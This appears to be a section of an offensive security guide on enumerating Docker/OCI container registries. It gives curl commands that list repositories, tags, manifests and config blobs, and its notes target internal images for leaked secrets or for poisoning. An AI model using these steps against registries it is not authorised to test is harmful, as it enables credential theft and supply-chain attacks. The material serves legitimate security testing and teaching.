A registry speaks the OCI distribution API (the Docker Registry HTTP API v2), which has well-known endpoints for listing content. Many registries allow anonymous reads, so enumeration frequently succeeds with no credentials and maps the entire holdings: which repositories exist, what tags each has, and which layers make up an image. This is the reconnaissance that drives pulling the right image for secrets or picking a widely used one to poison.
R=http://<registry>:5000
# list all repositories
curl -s $R/v2/_catalog | jq .
# list tags for a repository
curl -s $R/v2/<repo>/tags/list | jq .
# fetch the manifest (needs the v2 manifest Accept header) to see layers and config
curl -s -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' \
$R/v2/<repo>/manifests/<tag> | jq .
# pull the config blob, which holds env, entrypoint, and build history
curl -s $R/v2/<repo>/blobs/<config-digest> | jq '.config.Env, .history'
The manifest lists layer digests and the config digest; the config blob exposes environment variables, the entrypoint, and the layer-by-layer history, which is where secrets and sensitive build steps appear.
Exploitation notes#
- Anonymous catalog and manifest reads are the default for the open-source registry unless an auth proxy is placed in front; a
200on/v2/_catalogmeans the holdings are enumerable. - Prioritise repositories whose names suggest internal or build images (
ci,internal,base, app names), which are the most likely to contain credentials or to be widely consumed. - The config blob's
Envandhistoryoften reveal secrets without downloading any layer; pull layers only for the images that look promising. Continue with Secrets in image layers.